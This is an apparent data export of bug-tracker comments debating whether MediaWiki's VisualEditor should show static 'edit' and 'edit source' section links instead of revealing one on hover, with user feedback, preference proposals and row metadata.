+It needs to be emphasized that there are many experienced users who edit anonymously (IP edits). They will not be able to go to preferences to choose other options. I think both hover and dropdown will irritate those experienced IP editors. I think the least cluttered longterm solution for them might be an ""edit"" link for the visual editor, and an icon for the source wikitext editor.",,,1374891994,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,3,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,1,1,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1
+245575,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","**kwwilliams** wrote:
+
+(In reply to comment #24)
+
+> My first thought is that you are putting a lot of effort into preserving an
+> option that doesn't work. The first and easiest step is to remove the button
+> for editing sections using the source editor until you actually have a source
+> editor that can edit sections. Similarly, your preference scheme seems OK,
+> but
+> the default should be ""Edit sections as wikitext"", at least until you
+> actually
+> have a source editor that can edit sections.
+> 
+
+Sleepiness had obviously hit. Replace with 
+
+My first thought is that you are putting a lot of effort into preserving an
+option that doesn't work. The first and easiest step is to remove the button
+for editing sections using the visual editor until you actually have a visual editor that can edit sections. Similarly, your preference scheme seems OK, but
+the default should be ""Edit sections as wikitext"", at least until you
+actually have a visual editor that can edit sections.
+
+While sleepiness had hit, the point remains valid: since Visual Editor doesn't work for sections, there's no reason to damage the user interface by pretending to support it.",,,1374849031,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,1,0,0,1,0,1,1,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+245569,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","What about my suggestion in comment 15? I still think this would be a workable solution resolving most of the controversy around section edit links.
+
+The proposed setting whether to prefer VE or the WikiEditor could also be used to relabel the buttons to improve the workflow for everybody:
+* ""Edit"" for the edit button using the preferred editor
+* ""Edit Source"" or ""Visual Edit"" for the second button
+
+This way a simple ""Edit"" button would be the default way to edit an article, regardless of which editor the user prefers, while the other option was around for special use cases.",,,1374837475,,PHID-USER-v3yn5qf233ggnnnmvejc,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,3,,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,0
+245561,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #24)
+> The first and easiest step is to remove the button
+> for editing sections using the source editor until you actually have a source
+> editor that can edit sections.
+
+To clarify, ""source"" is one of the terms VisualEditor uses for wikitext.  So, the wikitext/source section editor has not changed (other than the label).",,,1374829183,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+245556,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","I agree we need to revisit this, Richard. We'll kick around some options, but we won't be able to get a new interface out before next week at the earliest.",,,1374819700,,PHID-USER-766idcqt4jkngnnuhnrj,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,0
+245551,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","Discussed again at [[Wikipedia:VisualEditor/Feedback#Edit Source is upsetting. When reading is upsetting]]
+
+I think this comment highlights the problem for readers, not just editors or power users, presumably this is effecting IP readers as well:
+
+It is VERY unpleaseant for me to read with the new feature. When I pass the mouse over the edi button, appears a new button saying edit source. I know these things are great for editors. But they are really distracting because one scrolls the mouse accidentally, in all the horizontal white stripe, i mean one scrolls the mouse over any place at the same height of the screen that Edit button, then Wild Edit source button appears. This is horrible. Please, make it harder to find. This distracts the eye a lot, i'm tottally serious. Plase, don't take this for a joke, i'm serious, the editors may have another way to do that, for example clicking on a small STATIC button for visual editing, that would be GREAT! Thank youSantropedro1",,,1374818730,,PHID-USER-7hrs7wwclcldf7mm6a7o,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,3,,1,0,1,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+245546,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","**kwwilliams** wrote:
+
+(In reply to comment #13)
+
+> Section editing links
+> (x) Hybrid edit / edit source links [default]
+> ( ) Edit sections via VisualEditor
+> ( ) Edit sections as wikitext
+> ( ) Disable section editing
+> 
+> ...
+> 
+> We don't love the [ edit ] [ edit source ] static links, because it feels
+> cluttered and not the kind of user experience that we want to support.
+> 
+> Thoughts? If either of these feels like a reasonable path forward, we can
+> re-use this bug to track it, or start a new one.
+
+My first thought is that you are putting a lot of effort into preserving an option that doesn't work. The first and easiest step is to remove the button for editing sections using the source editor until you actually have a source editor that can edit sections. Similarly, your preference scheme seems OK, but the default should be ""Edit sections as wikitext"", at least until you actually have a source editor that can edit sections.
+
+My second thought is that for any choice that presents both, the animated is far worse, and probably gets worse for anyone that uses an interface with a long word that means ""edit"". When I see a page, it has little buttons labeled ""bewerken"" next to each section header, and as I'm moving my cursor there, it suddenly animates and ""brontext bewerken"" slides out to the side (which is strange, because my main button for editing source is labeled ""bron bewerken""). Not surprisingly, I'm accustomed to having the thing I'm aiming for not purposely jump out of the way once I try to get there. I'd prefer getting a popup and having to click twice to having the thing I'm aiming for run away. Of course, I can try to remember to aim 3 cm to the right of the button and click *there*, but that is really an odd UI.
+
+In terms of the VE feature that makes me curse every time it occurs, it's accidentally launching VE because the thing I was aiming for ran away while I was aiming for it.",,,1374814202,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,3,,1,1,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+245540,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #13 by Erik Moeller)
+
+> We don't love the [ edit ] [ edit source ] static links, because it feels
+> cluttered and not the kind of user experience that we want to support.
+
+If provided as a preference then it is not clutter, at least to that user. 
+
+If you don't provide this as a baked-in MediaWiki preference in the edit tab of preferences, then probably all Wikipedias in all languages, and all MediaWiki installations outside the Wikimedia world will provide buggy gadgets to provide the 2 static links. 
+
+For example; the buggy CSS hack described here:
+*[[Wikipedia:Village pump (technical)/Archive 114]] - see section ""Removing the animation from 'edit source' section links on Visual Editor"".
+
+Is it not a thousand times better for it to be a fully-maintained, baked-in preference that will not constantly become buggy after various MediaWiki updates?",,,1374541092,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,3,,1,0,1,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,1,1,0,1,0,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1
+245533,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","**turingt** wrote:
+
+> 
+> We don't love the [ edit ] [ edit source ] static links, because it feels
+> cluttered and not the kind of user experience that we want to support.
+> 
+> Thoughts? If either of these feels like a reasonable path forward, we can
+> re-use this bug to track it, or start a new one.
+
+You seem to be under the impression that [ edit ] [ edit source ] dynamic links that appear and disappear on hover feel ''less'' clutter, but that's not the case.
+
+The least possible clutter that support both editors is to show shorter links, and make them static:
+
+[ edit | source ]
+
+or maybe get rid of the square brackets - they don't look at all necessary if both links are always visible:
+
+Edit | source
+
+See? No clutter at all, and more functional for all users regardless of their javascript or pointing device availability.",,,1374356199,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,2,,1,0,0,0,1,1,1,1,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,0,1,1,1,0,1,1,0,0,0,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1
+245526,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #20)
+> Are you sure the single link was the VE one?
+> 
+> I've seen some occasional cases where only the wikitext section links showed
+> (this is also the default, e.g. if you have JavaScript disabled), but I can't
+> recall one where only the VE section links showed, since the hover code has
+> been setup.
+
+It probably was a link to Source Editor, but when 'edit' could go to VE or SE, such confusion and concern results.  On mobiles, it's not possible to see what the link is without pressing it.",,,1374304107,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,2,,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+245520,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","Are you sure the single link was the VE one?
+
+I've seen some occasional cases where only the wikitext section links showed (this is also the default, e.g. if you have JavaScript disabled), but I can't recall one where only the VE section links showed, since the hover code has been setup.",,,1373928461,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,True,,,2,,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,0
+245514,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","A user on the English Wikipedia has today commented that the hover links are not always displaying when the system is being slow or unresponsive (their local system or the WMF servers). This obviously means that section editing in the classic editor is not available when its small footprint would be most beneficial
+
+For reference they included their technical specs:
+Downstream 20 Mb/s; Safari 6.0.5; Mac OS 10.8.4; 2.7 GHz Intel Core i7 (64-bit); 8 GB 1333 MHz DDR3; Flash 11.8.800.94; Java 1.6.0_51.",,,1373832913,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+245507,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","I'd prefer just showing them always, too (they can then be easily be hidden separately with CSS if necessary). But others prefer how it is done now (see Erik Möller's concerns in comment 13).
+
+That's why I proposed a *prefer*ence here.
+
+Anyway, if we should decide against a preference, showing them always is the way to go, because the current hovering effects are a nightmare for both, accessibility and customizeability.",,,1373551894,,PHID-USER-v3yn5qf233ggnnnmvejc,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+245499,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","**gigs** wrote:
+
+Eduard Braun's preferences proposal would work to solve all the use cases, but I don't see how this is superior to just always showing both links, with a preference for reverting to the old behavior (which already exists).
+
+Users will quickly adjust to clicking on their preferred mode, if both are always shown.",,,1373551134,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,1,,1,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+245492,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover",Custom CSS workaround available at https://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=563794311#Removing_the_animation_from_.22edit_source.22_section_links_on_Visual_Editor,,,1373539008,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+245485,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","However this will be solved: Put thought in it!
+I could imagine, that this decision will determine whether people will be disabling/hiding VE or keep using it along with the Wikitext editor.
+
+A proposal from my side which might be a better fit from a user's point of view:
+
+1) One setting (radio button) that determines which editor the user prefers for normal tasks (e.g. whether ""edit"" or ""edit source"" is shown first in toolbar or whether ""edit"" or ""edit source"" is shown as section edit link while the other one is shown on hover only)
+(o) Prefer VisualEditor
+( ) Prefer Wikitext Editor
+
+2) One setting (radio button) to control how edit section links are handled
+(o) show preferred edit link, show the other one on hover
+( ) always show both edit section links
+    ([edit|edit source] or the other way round depending on 1)
+( ) only show preferred edit section link, don't show the other one at all.
+( ) no edit section links at all",,,1373509125,,PHID-USER-v3yn5qf233ggnnnmvejc,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,1,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+245476,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #13)
+> We've been kicking around the section editing behavior a fair bit, and we
+> recognize the need for more flexibility, in part because the mouseover
+> interface doesn't translate well to touch-based user interfaces. (We also
+> recognize that section-editing in VisualEditor overall is still a bit of a
+> crutch, but that's a larger discussion.)
+
+The two issues I'm seeing from users are that:
+
+A. some editors are annoyed by the animation, particularly when scrolling or trying to target a specific link with a mouse quickly (or when using a touchscreen device, as you note); and
+
+B. some editors are annoyed by VisualEditor generally and would simply like to disable/hide all traces of it.
+
+> What James and I would like to suggest here is a multi-way pref:
+> 
+> Section editing links
+> (x) Hybrid edit / edit source links [default]
+> ( ) Edit sections via VisualEditor
+> ( ) Edit sections as wikitext
+> ( ) Disable section editing
+> 
+> The section editing feature is already disable-able, so we could just merge
+> the pref.
+
+This proposed solution solves problem A (the animation/hover issue) for the non-default case (not really helpful...), while inhibiting users who want both links but without any animation/hover. Not great. For problem B, it mitigates the impact of VisualEditor slightly (though users are still left with two tabs at the top of the page and probably slower load times as a result of VisualEditor).
+
+> If folks think that's too much, we could just have a single
+> 
+> [ ] Support section editing via VisualEditor 
+> 
+> checkbox as this point, enabled by default, which turns on or off the hybrid
+> mode.
+
+This proposed solution doesn't solve problem A (animation/hover) and doesn't solve problem B (VisualEditor being enabled at all).
+
+I'm not sure either proposed (compromise) solution is better than the current situation. However, there's already an existing user preference to disable VisualEditor that was inexplicably removed. It's difficult to tell how many editors are having problem A or are having problem B, but re-adding a user preference to disable VisualEditor would solve problem B for sure and largely solve problem A (for those who find problem A to be a problem...).",,,1373505406,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,1,,1,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,0,1,0,1,1,1,0,0,1,1,1,1,1,1,1,1,1,0,1,0,1,0,0,0,1,1,1,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+245470,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","We've been kicking around the section editing behavior a fair bit, and we recognize the need for more flexibility, in part because the mouseover interface doesn't translate well to touch-based user interfaces. (We also recognize that section-editing in VisualEditor overall is still a bit of a crutch, but that's a larger discussion.)
+
+What James and I would like to suggest here is a multi-way pref:
+
+Section editing links
+(x) Hybrid edit / edit source links [default]
+( ) Edit sections via VisualEditor
+( ) Edit sections as wikitext
+( ) Disable section editing
+
+The section editing feature is already disable-able, so we could just merge the pref.
+
+Having three modes may seem like overkill at this stage but James feels that having an option for VisualEditor specifically at least puts a flag in the ground that we want to continue to improve section editing usability.
+
+If folks think that's too much, we could just have a single
+
+[ ] Support section editing via VisualEditor 
+
+checkbox as this point, enabled by default, which turns on or off the hybrid mode.
+
+We don't love the [ edit ] [ edit source ] static links, because it feels cluttered and not the kind of user experience that we want to support.
+
+Thoughts? If either of these feels like a reasonable path forward, we can re-use this bug to track it, or start a new one.",,,1373503336,,PHID-USER-766idcqt4jkngnnuhnrj,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,1,1
+245464,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","I misspoke. The only VE gadget now in preferences is this one: ""Remove VisualEditor from the user interface."" 
+
+But my point is that each language version of Wikipedia should not have to create gadgets to provide VE options to its editors. 
+
+Some preferences need to be provided in all MediaWiki installations. Or at least all Wikimedia installations of MediaWiki. For example:
+*Display both ""edit"" and ""edit source"" links for sections without hover.
+*Remove VisualEditor from the user interface (VE still loads, but it can not be used).
+
+The first preference will mean that far fewer people will use the second preference. And the 2 preferences should be together so that people can see why they should choose the first preference over the other. The reason being that since VE still loads, one saves no load time by blocking access to using VE.",,,1373171885,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,0,,1,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,1,1,0
+245459,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","There is no way this should be ""Lowest"" in importance. Moved up to ""Normal"". I would change enhancement to ""normal"" also, but developers still seem dead set against making the choice dead simple and easy; or as one recent commenter wrote: ""I am talking about giving editors easy way to choose the way they want to edit wikipedia."" This is a common request. 
+
+This needs to be a baked-in option in the edit tab of preferences. Not an ad hoc addon gadget as it is now in English Wikipedia. At least then registered editors can keep editing most efficiently. Choosing instantly between visual editor and source editor as the need arises. Registered editors do twice as many edits each month as anomymous IP editors. See chart:
+[[File:Anonymous, registered, and bot edits. English Wikipedia timeline by percent of edits.png]]
+
+So if you can't get it right for anonymous editors, at least allow registered editors to get it right with an option.",,,1373171236,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,0,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1
+245452,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","**gigs** wrote:
+
+It's difficult to focus without clicking on a touchscreen as well.",,,1373150662,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+245445,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #7)
+> It seems no one has pointed out that pads and phones and touchscreens usually
+> can't ""hover"".  Hover stuff should pretty much never be a necessary part of
+> any web UI.
+
+It's not a necessary part.  First, the 'edit source' link at the top does not require any hover.  Second, the same thing occurs ('edit source' section link is shown) when you focus on the 'edit' section link (onfocus).",,,1373148915,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,True,,,0,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+245438,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","This should be a priority and not just an enhancement. To think that future versions of MediaWiki will be crippled longterm by this incredibly buggy and slow visual editor is very discouraging. 
+
+At the very least there needs to be a preference for direct ""edit"" and ""edit source"" links built in to MediaWiki preferences on the edit tab of preferences. MediaWiki installations should not need a ""gadget"" preference added for this by each webmaster of every MediaWiki installation. 
+
+The hidden link to ""edit source"" is slowing down many editors. For more info and other options: 
+
+[[Wikipedia:VisualEditor/Feedback/Archive_2013_07#Edit_and_edit_source_links_so_confusing_I_had_to_disable_Visual_Editor_in_preferences]]
+
+[[Wikipedia:VisualEditor/Feedback/Archive_2013_07#Note_the_many_unhappy_people_who_do_not_see_the_HIDDEN_.22edit_source.22_link]]
+
+A thread linked in a previous comment (comment 1) has been archived:
+[[Wikipedia:VisualEditor/Feedback/Archive_2013_07#How_to_disable.3F]]
+
+There have been many more comments requesting a direct link to ""edit source"" on each section. See:
+[[Wikipedia:VisualEditor/Feedback]] and its archives.
+
+Slowing down the many editors who will continue to need source editing to edit complex things more easily is a really dumb idea. What is the logic? That you will irritate and trick editors into using the visual editor? That they will click the ""edit"" link instead of the ""edit source"" by being tricked? It is extremely irritating to have to spend extra time to get to source editing. You will not lack in bug reports by providing direct links to ""edit source"". 
+
+For help on putting links in Bugzilla threads:
+[[WP:Bugzilla]]",,,1373094343,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,0,,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,1,1,0,1,0,1,1,1,0,0,1,1,1,1,1,1,0,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1
+245431,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","**gigs** wrote:
+
+It seems no one has pointed out that pads and phones and touchscreens usually can't ""hover"".  Hover stuff should pretty much never be a necessary part of any web UI.",,,1373091895,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,0,,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+245423,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover",Clarifying.,,,1372801897,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+245415,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","@Krinkle: I think the change of the summary is wrong.
+
+This is (from what I get from the comments, the discussions linked are a little less clear I'm afraid) not about section ""edit source"" links being loaded with delay (although this would be an issue, too).
+It's about having to hover over the ""edit"" link to be able to see the ""edit source link"". They should both be directly accessible (without hovering and visibility changes).",,,1372801493,,PHID-USER-v3yn5qf233ggnnnmvejc,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,1,1,1,0,1,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,1,1,0,1,1,0,1,1,0,0
